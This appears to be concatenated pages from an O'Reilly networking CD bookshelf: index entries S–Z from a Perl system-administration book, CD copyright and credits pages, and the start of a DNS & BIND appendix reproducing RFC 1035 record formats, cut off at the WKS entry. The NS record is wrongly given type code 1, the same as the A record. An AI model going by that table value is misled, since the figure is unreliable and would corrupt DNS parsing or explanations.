search base: 6.4.3. Performing LDAP Searches
search filters: 6.4.3. Performing LDAP Searches
secondary servers: 5.3. Domain Name Service (DNS)
DNS: 5.3.1.1. Creating the administrative header
Secure Socket Layer (SSL): 6.4.2. The Initial LDAP Connection
security
of bots: 4.3.4. Using the Proc::ProcessTable Module
of SNMP: E. The Twenty-Minute SNMP Tutorial
breaches in, documenting: 10.2.1. Local Signs of Peril
denial-of-service attacks: 10.4.1. Perl Saves the Day
detecting changes
to files: 10.1.1. Local Filesystem Changes
to networks: 10.1.2. Network Service Changes
of Perl: 1.6. It's Not Easy Being Omnipotent
suspicious activities, noticing: 10.2.1. Local Signs of Peril
SYN attacks, detecting from Perl: 10.4.1. Perl Saves the Day
Security Accounts Manager (SAM): 3.2.1. NT/2000 User Identity Storage and Access
security identifier (SID): 3.2.2. NT/2000 User ID Numbers
3.2.2. NT/2000 User ID Numbers
(see also users, identity of, Windows NT/2000)
SELECT command (SQL): D.3. Querying Information
D.3.3. Simple Manipulation of Data Returned by Queries
Sendmail for NT program: 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
sendmail program: 8.1. Sending Mail
8.1.3. Speaking to the Mail Protocols Directly
blacklists, local: 8.3.3.1. Checking against a local blacklist
services
directory (see directory services)
TCP/IP (see TCP/IP, name services)
shadow password files (Unix): 3.1.4. Shadow Passwords
shell field (Unix): 3.1.1. The Classic Unix Password File
SID (security identifier): 3.2.2. NT/2000 User ID Numbers
3.2.2. NT/2000 User ID Numbers
(see also users, identity of, Windows NT/2000)
Simple Authentication and Security Layer (SASL): 6.4.2. The Initial LDAP Connection
Simple Mail Transport Protocol (see SMTP)
Simple Network Management Protocol (see SNMP)
slave servers: 5.2. NIS, NIS+, and WINS
5.3. Domain Name Service (DNS)
DNS: 5.3.1.1. Creating the administrative header
SMI RFCs: E.1. SNMP in Practice
SMTP (Simple Mail Transport Protocol): 8.1.3. Speaking to the Mail Protocols Directly
SNMP Extension Module for the UCD SNMPv3 Library: 10.3.1. Using SNMP from Perl
SNMP (Simple Network Management Protocol): E. The Twenty-Minute SNMP Tutorial
access policy: E. The Twenty-Minute SNMP Tutorial
communities: E. The Twenty-Minute SNMP Tutorial
modules, comparing: 10.3.1. Using SNMP from Perl
monitoring networks with: 10.3.1. Using SNMP from Perl
security of: E. The Twenty-Minute SNMP Tutorial
theory: E. The Twenty-Minute SNMP Tutorial
tutorial: E.1. SNMP in Practice
using from Perl: 10.3.1. Using SNMP from Perl
variables: E. The Twenty-Minute SNMP Tutorial
SNMP\:\:MIB module: 10.3.1. Using SNMP from Perl
SNMP_Session module: 10.3.1. Using SNMP from Perl
SNMP_utility module: 10.3.1. Using SNMP from Perl
SOA (Start of Authority): 5.3.1.1. Creating the administrative header
software metering: 4.3.4. Using the Proc::ProcessTable Module
source control systems: 5.1.4. Incorporating a Source Code Control System
RCS (see RCS)
spam, finding source of: 8.3.3. Tracking Down Spam
blacklists, checking against
Internet-wide: 8.3.3.2. Checking against Internet-wide blacklists
local: 8.3.3.1. Checking against a local blacklist
split() function (Unix): 5.1.1. Generating Host Files
SQL databases
creating/deleting: D.1. Creating /Deleting Databases and Tables
data in, manipulating: D.3.3. Simple Manipulation of Data Returned by Queries
Perl-cliented: 9.5.4.2. Using Perl-cliented SQL databases
querying information: D.3. Querying Information
stored procedures: D.6.3. Stored Procedures
SQL (Structured Query Language): 7. SQL Database Administration
commands, sending from Perl: 7.3. Using the ODBC Framework
databases
documenting from Perl: 7.4. Server Documentation
interacting with from Perl: 7.1. Interacting with an SQL Server from Perl
managing logins from Perl: 7.5. Database Logins
monitoring from Perl: 7.6. Monitoring Server Health
using DBI: 7.2. Using the DBI Framework
using ODBC: 7.3. Using the ODBC Framework
tutorial: D. The Fifteen-Minute SQL Tutorial
SQL tables
changing: D.4. Changing Table Information
creating/deleting: D.1. Creating /Deleting Databases and Tables
inserting data into: D.2. Inserting Data into a Table
query results, adding: D.3.4. Adding the Query Results to Another Table
relating: D.5. Relating Tables to Each Other
rows in, retrieving: D.3.1. Retrieving All of the Rows in a Table
D.3.2. Retrieving a Subset of the Rows in a Table
views of: D.6.1. Views
SSL (Secure Socket Layer): 6.4.2. The Initial LDAP Connection
Start of Authority (SOA): 5.3.1.1. Creating the administrative header
stat() function (Perl): 10.1.1. Local Filesystem Changes
statement handle, DBI: 7.2. Using the DBI Framework
Structure for Management Information (SMI): E.1. SNMP in Practice
Structured Query Language (see SQL)
SunOS
host files: 5.1. Host Files
wtmp file: 9.2.1. Using unpack( )
suss program: 8.3.4. Support Mail Augmentation
Sybase OpenClient libraries: 7.1. Interacting with an SQL Server from Perl
Sybase server, documenting via DBI module: 7.4.2. Sybase Server via DBI
SYN-ACK attack: 10.4.1. Perl Saves the Day
SYN Flood: 10.4.1. Perl Saves the Day
Sys\:\:Hostname module: 9.5.4.1. Using Perl-only databases
SyslogScan package: 9.5.3. Black Boxes
system administration
with ADSI: 6.5.8. Working with Users via ADSI
email for: 8. Electronic Mail
as support medium: 8.3.4. Support Mail Augmentation
limiting message sending: 8.2.1.1. Controlling the frequency of mail
sending: 8.1. Sending Mail
log files: 9. Log Files
monitoring
networks: 10.3.1. Using SNMP from Perl
security: 10. Security and Network Monitoring
Perl as language for: 1.2. How Perl Can Help
SQL databases and: 7. SQL Database Administration
system administrators
contacting: 6.3. The WHOIS Directory Service
mechanics vs. architects: 3.3.1. The Backend Database
\\\\$systemroot$\\\\system32\\\\drivers\\\\etc\\\\hosts file: 5.1. Host Files

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

TCP/IP (Transmission Control Protocol/Internet Protocol): 5. TCP/IP Name Services
host files, generating: 5.1.1. Generating Host Files
name services: 5.2. NIS, NIS+, and WINS
TCPVstat program: 4.4.1. Tracking Operations on Windows NT/2000
tcpwrappers program: 9.5.2. Read-Remember-Process
Term\:\:ReadKey module: 10.5. Preventing Suspicious Activities
top program: 4.3.2. Examining the Kernel Process Structures
tracking
file operations on Unix: 4.4.2. Tracking Operations in Unix
network host data, databases for: 5.1.1. Generating Host Files
network operations
Unix: 4.4.2. Tracking Operations in Unix
Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
open files: 4.4.1. Tracking Operations on Windows NT/2000
operations
on Unix: 4.4.2. Tracking Operations in Unix
on Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
Transmission Control Protocol (see TCP/IP)
Transmission Control Protocol/Internet Protocol (see TCP/IP)
TurboPerl program: 4.2.4. Using Window Management Instrumentation (WMI)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UCD-SNMP library: 10.3.1. Using SNMP from Perl
UID (see user ID)
Universal Naming Convention (UNC): 2.2.2. Microsoft Windows NT/2000
Unix
account creation/deletion, programs for: 3.3.2.1. Unix account creation and deletion routines
communicating with Microsoft SQL Server: 7.1. Interacting with an SQL Server from Perl
directories, hidden: 10.2.1. Local Signs of Peril
disk quotas on: 2.5. Manipulating Disk Quotas
file operations on, tracking: 4.4.2. Tracking Operations in Unix
filesystems: 2.2.1. Unix
/proc: 4.3.3. Using the /proc Filesystem
querying usage on: 2.6. Querying Filesystem Usage
traversing/walking: 2.3. Walking or Traversing the Filesystem
group ID (GID): 3.1.1. The Classic Unix Password File
host files: 5.1. Host Files
generating: 5.1.1. Generating Host Files
parsing: 5.1. Host Files
source control systems: 5.1.4. Incorporating a Source Code Control System
installing modules on: 1.5.1. Installing Modules on Unix
1.5.1. Installing Modules on Unix
log files
analyzing: 9.5. Log Analysis
wtmp: 9.2. Binary Log Files
network operations on, tracking: 4.4.2. Tracking Operations in Unix
password file: 3.1.1. The Classic Unix Password File
passwords: 3.3.2.1. Unix account creation and deletion routines
privileges on, dropping: 1.6.2. Drop Your Privileges as Soon as Possible
process control: 4.3. Unix Process Control
process table, module for interface to: 4.3.4. Using the Proc::ProcessTable Module
processes, listing: 4.3. Unix Process Control
shells: 3.1.1. The Classic Unix Password File
user identity: 3.1. Unix User Identity
unpack() function (Perl): 9.2.1. Using unpack( )
Unsolicited Commercial Email (UCE) (see spam)
UPDATE command (SQL): D.4. Changing Table Information
USE statement (SQL): D.1. Creating /Deleting Databases and Tables
user accounts
adding/removing: 3.3. Building an Account System to Manage Users
API calls for: 3.3.2.2. Windows NT/2000 account creation and deletion routines
modules for: 3.3.2.2. Windows NT/2000 account creation and deletion routines
logins, security and: 10.2.2. Finding Problematic Patterns
managing
with ADSI: 6.5.8. Working with Users via ADSI
process scripts for: 3.3.3. The Process Scripts
user ID (UID)
Unix: 3.1.1. The Classic Unix Password File
Windows NT/2000: 3.2.2. NT/2000 User ID Numbers
user input, security of: 1.6.3. Be Careful When Reading Data
User Security Model (USM): E. The Twenty-Minute SNMP Tutorial
users
identity of: 3. User Accounts
Unix: 3.1. Unix User Identity
Windows NT/2000: 3.2.1. NT/2000 User Identity Storage and Access
rights of, Windows NT/2000: 3.2.5. NT/2000 User Rights
USM (User Security Model): E. The Twenty-Minute SNMP Tutorial

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

Varbind object: 10.3.1. Using SNMP from Perl
VFAT filesystem: 2.2.2. Microsoft Windows NT/2000

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

WBEM (Web-Based Enterprise Management): 4.2.4. Using Window Management Instrumentation (WMI)
WHERE clause (SQL): D.3.2. Retrieving a Subset of the Rows in a Table
WHOIS: 6.3. The WHOIS Directory Service
querying the right server: 8.3.3.2. Checking against Internet-wide blacklists
Win32 Schema: 4.2.4. Using Window Management Instrumentation (WMI)
Win32\:\:AdminMisc module: 3.2.1. NT/2000 User Identity Storage and Access
Win32\:\:AdvNotify module: 4.4.1. Tracking Operations on Windows NT/2000
Win32API\:\:Net module: 3.3.2.2. Windows NT/2000 account creation and deletion routines
Window Management Instrumentation (see WMI)
windows
changing titles of: 4.2.3. Using the Win32::Setupsup Module
of processes
properties of: 4.2.3. Using the Win32::Setupsup Module
interacting with: 4.2.3. Using the Win32::Setupsup Module
sending keystrokes to: 4.2.3. Using the Win32::Setupsup Module
Windows 2000: 3.2.5. NT/2000 User Rights
(see also Windows NT/2000)
groups: 3.2.4. NT Groups
3.2.4. NT Groups
(see also Windows NT, groups)
process control using WMI: 4.2.4. Using Window Management Instrumentation (WMI)
Windows 2000 Resource Kit: 3.2.5. NT/2000 User Rights
Windows Internet Name Server (see WINS)
Windows NT: 3.2.5. NT/2000 User Rights
(see also Windows NT/2000)
groups: 3.2.4. NT Groups
log files, analyzing: 9.5.1. Stream Read-Count
mapping hostnames to IP addresses: 5.2.2. Windows Internet Name Server ( WINS)
services, managing via ADSI: 6.5.12. Working with NT/2000 Services via ADSI
Windows NT Resource Kit: 3.2.5. NT/2000 User Rights
process control binaries: 4.2.1. Using the Microsoft Resource Kit Binaries
Windows NT Server Resource Kit, utilities for WINS: 5.2.2. Windows Internet Name Server ( WINS)
windowse utility: 4.2.3. Using the Win32::Setupsup Module
Win32\:\:EventLog module: 9.2.3. Using the OS's Logging API
analyzing log files with: 9.5.1. Stream Read-Count
Win32\:\:IpHelp module: 4.4.1. Tracking Operations on Windows NT/2000
Win32\:\:IProc module: 4.2.2. Using the Win32::IProc Module
installing: 4.5.1. Installing Win32::IProc
Win32\:\:Lanman module: 3.3.2.2. Windows NT/2000 account creation and deletion routines
Win32\:\:MAPI module: 8.1.2. Using the OS-Specific IPC Framework.
Win32\:\:NetAdmin module: 3.2.1. NT/2000 User Identity Storage and Access
3.2.4. NT Groups
3.3.2.2. Windows NT/2000 account creation and deletion routines
Win32\:\:ODBC module: 7.3. Using the ODBC Framework
7.4.3. MS-SQL Server via ODBC
Win32\:\:OLE module: 3.2.1. NT/2000 User Identity Storage and Access
4.2.4. Using Window Management Instrumentation (WMI)
6.5.2. Using ADSI from Perl
8.1.2. Using the OS-Specific IPC Framework.
Win32\:\:Process module: 4.2.2. Using the Win32::IProc Module
WINS (Windows Internet Name Server): 5.2.2. Windows Internet Name Server ( WINS)
DNS and: 5.3. Domain Name Service (DNS)
Win32\:\:Setupsup module: 4.2.3. Using the Win32::Setupsup Module
installing: 4.5.2. Installing Win32::Setupsup
Win32\:\:UserAdmin module: 3.2.1. NT/2000 User Identity Storage and Access
3.3.2.2. Windows NT/2000 account creation and deletion routines
wmailto program: 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
WMI (Window Management Instrumentation): 4.2.4. Using Window Management Instrumentation (WMI)
4.2.4. Using Window Management Instrumentation (WMI)
retrieving log information with: 9.2.3. Using the OS's Logging API
writing to files, security of: 1.6.4. Be Careful When Writing Data
wtmp file: 9.2.1. Using unpack( )
analyzing: 9.5.1.1. A simple stream read-count variation
9.5.2. Read-Remember-Process

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X.500 Directory Service: 6.4. LDAP: A Sophisticated Directory Service
XML (Extensible Markup Language)
reading from Perl: 3.3.1.2. Reading XML using XML::Parser
tutorial: C.1. XML Is a Markup Language
user account database, creating: 3.3.1. The Backend Database
writing from Perl: 3.3.1.1. Writing XML from Perl
3.3.1.4. Writing XML using XML::Simple
XML\:\:Generator module: 3.3.1.1. Writing XML from Perl
XML\:\:Parser module: 3.3.1.2. Reading XML using XML::Parser
XML\:\:Simple module: 3.3.1.3. Reading XML using XML::Simple
XML\:\:Writer module: 3.3.1.1. Writing XML from Perl

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y

Yellow Pages (see NIS)
yppoll program: 5.2. NIS, NIS+, and WINS

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Perl for System Administration Search Page

 Perl for System Administration Perl for System AdministrationSearch this book Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


O'Reilly Copyright Statement

The electronic versions of DNS & BIND, TCP/IP Network Administration, sendmail, sendmail Desktop Reference, Building Internet Firewalls, and Practical UNIX & Internet Security are copyright © 1999 by O'Reilly & Associates, Inc.; all rights reserved.

This CD-ROM is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this reference library available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this book without the explicit written permission of O'Reilly & Associates, Inc. If you would like to discuss licensing for multiple users, contact service@oreilly.com.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. (see http://www.oreilly.com/order/) or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

This product is printed with 100% recycled electrons.


The Networking CD Bookshelf

Credits

The Books

DNS & BIND
By Cricket Liu & Paul Albitz
1-56592-512-2, 502 pages
Third Edition, September 1998

TCP/IP Network Administration
By Craig Hunt
1-56592-322-7, 630 pages
Second Edition, December 1997

sendmail
By Bryan Costales & Eric Allman
1-56592-222-0, 1050 pages
Second Edition, January 1997

sendmail Desktop Reference
By Bryan Costales & Eric Allman
1-56592-278-6, 74 pages
First Edition, March 1997

Building Internet Firewalls
By D. Brent Chapman & Elizabeth D. Zwicky
1-56592-124-0, 517 pages
First Edition, November 1995

Practical UNIX & Internet Security
By Simson Garfinkel & Gene Spafford
1-56592-148-8, 1004 pages
Second Edition, April 1996

The Networking CD Bookshelf

Product Manager
Linda Walsh
Production Editor
Ellie Cutler
Technical Development
Christopher Maden
Creative Director
Edie Freedman
Tools
Christopher Maden, Lenny Muellner, and Donald Ohl
Index
Seth Maislin
CD-ROM Search Engine
Astaware technologies Inc.

The Networking CD Bookshelf Navigation The Networking CD Bookshelf DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security


The Networking CD Bookshelf

Combined Index
Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

The Networking CD Bookshelf Navigation DNS & BIND TCP/IP Network Administration sendmail sendmail Desktop Reference Building Internet Firewalls Practical UNIX & Internet Security

The Networking CD Bookshelf, version 1.0, is copyright © 1999 by O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


[Appendix A] DNS Message Format and Resource Records

DNS & BIND

DNS & BINDSearch this book
Previous: 15.9 DNS and WINS Appendix A Next: A.2 DNS Message

A. DNS Message Format and Resource Records

Contents:
Master File Format
DNS Message
Header Section Format
Resource Record Data

This appendix outlines the format of DNS messages and enumerates all the resource record types. The resource records are shown in their textual format, as you would specify them in a DNS database file, and in their binary format, as they appear in DNS messages. You'll find a few resource records here that we didn't cover in the book because they are experimental or obsolete.

We've included here the portions of RFC 1035, written by Paul Mockapetris, that deal with the textual format of master files (what we called db files or DNS database files in the book) or with the DNS message format (for those of you who need to parse DNS packets).

A.1 Master File Format

(From RFC 1035, pages 33-35)

The format of these files is a sequence of entries. Entries are predominantly line-oriented, though parentheses can be used to continue a list of items across a line boundary, and text literals can contain CRLF within the text. Any combination of tabs and spaces acts as a delimiter between the separate items that make up an entry. The end of any line in the master file can end with a comment. The comment starts with a ";".

The following entries are defined:

blank[comment]

$ORIGIN domain-name [comment]

$INCLUDE file-name [domain-name] [comment]

domain-namerr [comment]

blankrr [comment]

Blank lines, with or without comments, are allowed anywhere in the file.

Two control entries are defined: $ORIGIN and $INCLUDE. $ORIGIN is followed by a domain name, and resets the current origin for relative domain names to the stated name. $INCLUDE inserts the named file into the current file, and may optionally specify a domain name that sets the relative domain name origin for the included file. $INCLUDE may also have a comment. Note that an $INCLUDE entry never changes the relative origin of the parent file, regardless of changes to the relative origin made within the included file.

The last two forms represent RRs. If an entry for an RR begins with a blank, then the RR is assumed to be owned by the last stated owner. If an RR entry begins with a domain-name, then the owner name is reset.

rr contents take one of the following forms:

[TTL] [class] type RDATA
[class] [TTL] type RDATA

The RR begins with optional TTL and class fields, followed by a type and RDATA field appropriate to the type and class. Class and type use the standard mnemonics; TTL is a decimal integer. Omitted class and TTL values are default to the last explicitly stated values. Since type and class mnemonics are disjoint, the parse is unique.

domain-names make up a large share of the data in the master file. The labels in the domain name are expressed as character strings and separated by dots. Quoting conventions allow arbitrary characters to be stored in domain names. Domain names that end in a dot are called absolute, and are taken as complete. Domain names which do not end in a dot are called relative; the actual domain name is the concatenation of the relative part with an origin specified in an $ORIGIN, $INCLUDE, or as an argument to the master file-loading routine. A relative name is an error when no origin is available.

character-string is expressed in one of two ways: as a contiguous set of characters without interior spaces, or as a string beginning with a " and ending with a ". Inside a "-delimited string any character can occur, except for a " itself, which must be quoted using a backslash ("\").

Because these files are text files, several special encodings are necessary to allow arbitrary data to be loaded. In particular:

.

Of the root.

@

A free-standing @ is used to denote the current origin.

\X

Where X is any character other than a digit (0-9), is used to quote that character so that its special meaning does not apply. For example, "\." can be used to place a dot character in a label.[1]

[1] Not implemented by BIND 4.8.3.

\DDD

Where each D is a digit is the octet corresponding to the decimal number described by DDD. The resulting octet is assumed to be text and is not checked for special meaning.[2]

[2] Not implemented by BIND 4.8.3.

( )

Parentheses are used to group data that crosses a line boundary. In effect, line terminations are not recognized within parentheses.[3]

[3] BIND 4.8.3 allows parentheses only on SOA and WKS resource records.

;

Semicolon is used to start a comment; the remainder of the line is ignored.

A.1.1 Character Case

(From RFC 1035, page 9)

For all parts of the DNS that are part of the official protocol, all comparisons between character strings (e.g., labels, domain names, etc.) are done in a case-insensitive manner. At present, this rule is in force throughout the domain system without exception. However, future additions beyond current usage may need to use the full binary octet capabilities in names, so attempts to store domain names in 7-bit ASCII or use of special bytes to terminate labels, etc., should be avoided.

A.1.2 Types

Here is a complete list of resource record types. The textual representation is used in master files. The binary representation is used in DNS queries and responses. These resource records are described on pages 13-21 of RFC 1035.

A.1.2.1 A address

(From RFC 1035, page 20)

Textual Representation:

owner class ttl A address

Example:

localhost.movie.edu.   IN A 127.0.0.1

Binary Representation:

Address type code: 1
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ADDRESS                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
ADDRESS         A 32 bit Internet address.

A.1.2.2 CNAME canonical name

(From RFC 1035, page 14)

Textual Representation:

owner class ttl CNAME canonical-dname

Example:

wh.movie.edu.  IN  CNAME  wormhole.movie.edu.

Binary Representation:

CNAME type code: 5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                     CNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
CNAME           A domain-name which specifies the canonical
                or primary name for the owner.  The owner name is
                an alias.

A.1.2.3 HINFO host information

(From RFC 1035, page 14)

Textual Representation:

owner class ttl HINFO cpu os

Example:

grizzly.movie.edu.  IN  HINFO  VAX-11/780 UNIX

Binary Representation:

HINFO type code: 13
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                      CPU                      /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                       OS                      /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
CPU             A character-string which specifies the CPU type.
OS              A character-string which specifies the
                operating system type.

A.1.2.4 MB mailbox domain name - experimental

(From RFC 1035, page 14)

Textual Representation:

owner class ttl MB mbox-dname

Example:

al.movie.edu.  IN  MB  robocop.movie.edu.

Binary Representation:

MB type code: 7
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   MADNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
MADNAME         A domain-name which specifies a host which has
                the specified mailbox.

A.1.2.5 MD mail destination - obsolete

MD has been replaced with MX.

A.1.2.6 MF mail forwarder - obsolete

MF has been replaced with MX.

A.1.2.7 MG mail group member - experimental

(From RFC 1035, page 16)

Textual Representation:

owner class ttl MG mgroup-dname

Example:

admin.movie.edu.  IN  MG  al.movie.edu.
                      IN  MG  ed.movie.edu.
                      IN  MG  jc.movie.edu.

Binary Representation:

MG type code: 8
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   MGMNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
MGMNAME         A domain-name which specifies a mailbox which
                is a member of the mail group specified by the
                domain name.

A.1.2.8 MINFO mailbox or mail list information - experimental

(From RFC 1035, page 16)

Textual Representation:

owner class ttl MINFO resp-mbox error-mbox

Example:

admin.movie.edu.  IN  MINFO  al.movie.edu. al.movie.edu.

Binary Representation:

MINFO type code: 14
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    RMAILBX                    /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    EMAILBX                    /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
RMAILBX         A domain-name which specifies a mailbox which
                is responsible for the mailing list or mailbox.
                If this domain name names the root, the owner of
                the MINFO RR is responsible for itself.  Note
                that many existing mailing lists use a mailbox
                X-request for the RMAILBX field of mailing list
                X, e.g., Msgroup-request for Msgroup.  This field
                provides a more general mechanism.
EMAILBX         A domain-name which specifies a mailbox which is
                to receive error messages related to the mailing
                list or mailbox specified by the owner of the
                MINFO RR (similar to the ERRORS-TO: field which has
                been proposed). If this domain name names the root,
                errors should be returned to the sender of the
                message.

A.1.2.9 MR mail rename - experimental

(From RFC 1035, page 17)

Textual Representation:

owner class ttl MR new-mbox

Example:

eddie.movie.edu.  IN  MR  eddie.bornagain.edu.

Binary Representation:

MR type code: 9
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   NEWNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
NEWNAME         A domain-name which specifies a mailbox which
                is the proper rename of the specified mailbox.

A.1.2.10 MX mail exchanger

(From RFC 1035, page 17)

Textual Representation:

owner class ttl MX preference exchange-dname

Example:

ora.com.  IN  MX  0  ora.ora.com.
          IN  MX  10 ruby.ora.com.
          IN  MX  10 opal.ora.com.

Binary Representation:

MX type code: 15
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                  PREFERENCE                   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   EXCHANGE                    /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
PREFERENCE      A 16 bit integer which specifies the preference
                given to this RR among others at the same owner.
                Lower values are preferred.
EXCHANGE        A domain-name which specifies a host willing
                to act as a mail exchange for the owner name.

A.1.2.11 NS name server

(From RFC 1035, page 18)

Textual Representation:

owner class ttl NS name-server-dname

Example:

movie.edu.     IN NS terminator.movie.edu

Binary Representation:

NS type code: 1
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   NSDNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
NSDNAME         A domain-name which specifies a host which
                should be authoritative for the specified
                class and domain.

A.1.2.12 NULL null - experimental

(From RFC 1035, page 17)

Binary Representation:

NULL type code: 10
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                  anything               /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Anything at all may be in the RDATA field so long as it is 65535
octets or less.

NULL is not implemented by BIND.

A.1.2.13 PTR pointer

(From RFC 1035, page 18)

Textual Representation:

owner class ttl PTR dname

Example:

1.249.249.192.in-addr.arpa.  IN PTR wormhole.movie.edu.

Binary Representation:

PTR type code: 12
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   PTRDNAME                    /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
PTRDNAME        A domain-name which points to some location in
                the domain name space.

A.1.2.14 SOA start of authority

(From RFC 1035, pages 19-20)

Textual Representation:

owner class ttl SOA source-dname mbox (
        serial refresh retry expire minimum )

Example:

movie.edu. IN SOA terminator.movie.edu. al.robocop.movie.edu. (
                      1        ; Serial
                      10800    ; Refresh after 3 hours
                      3600     ; Retry after 1 hour
                      604800   ; Expire after 1 week
                      86400 )  ; Minimum TTL of 1 day

Binary Representation:

SOA type code: 6
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                     MNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                     RNAME                     /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    SERIAL                     |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    REFRESH                    |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     RETRY                     |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    EXPIRE                     |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    MINIMUM                    |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
MNAME           The domain-name of the name server that was the
                original or primary source of data for this zone.
RNAME           A domain-name which specifies the mailbox of the
                person responsible for this zone.
SERIAL          The unsigned 32 bit version number of the original
                copy of the zone.  Zone transfers preserve this
                value.  This value wraps and should be compared
                using sequence space arithmetic.
REFRESH         A 32 bit time interval before the zone should be
                refreshed.
RETRY           A 32 bit time interval that should elapse before
                a failed refresh should be retried.
EXPIRE          A 32 bit time value that specifies the upper limit
                on the time interval that can elapse before the
                zone is no longer authoritative.
MINIMUM         The unsigned 32 bit minimum TTL field that should
                be exported with any RR from this zone.

A.1.2.15 TXT text

(From RFC 1035, page 20)

Textual Representation:

owner class ttl TXT txt-strings

Example:

cujo.movie.edu.  IN  TXT  "Location: machine room dog house"

Binary Representation:

TXT type code: 16
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   TXT-DATA                    /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
TXT-DATA        One or more character-strings.

A.1.2.16 WKS well-known services

(From RFC 1035, page 21)

Textual Representation:

owner class ttl WKS address protocol service-list

Example:

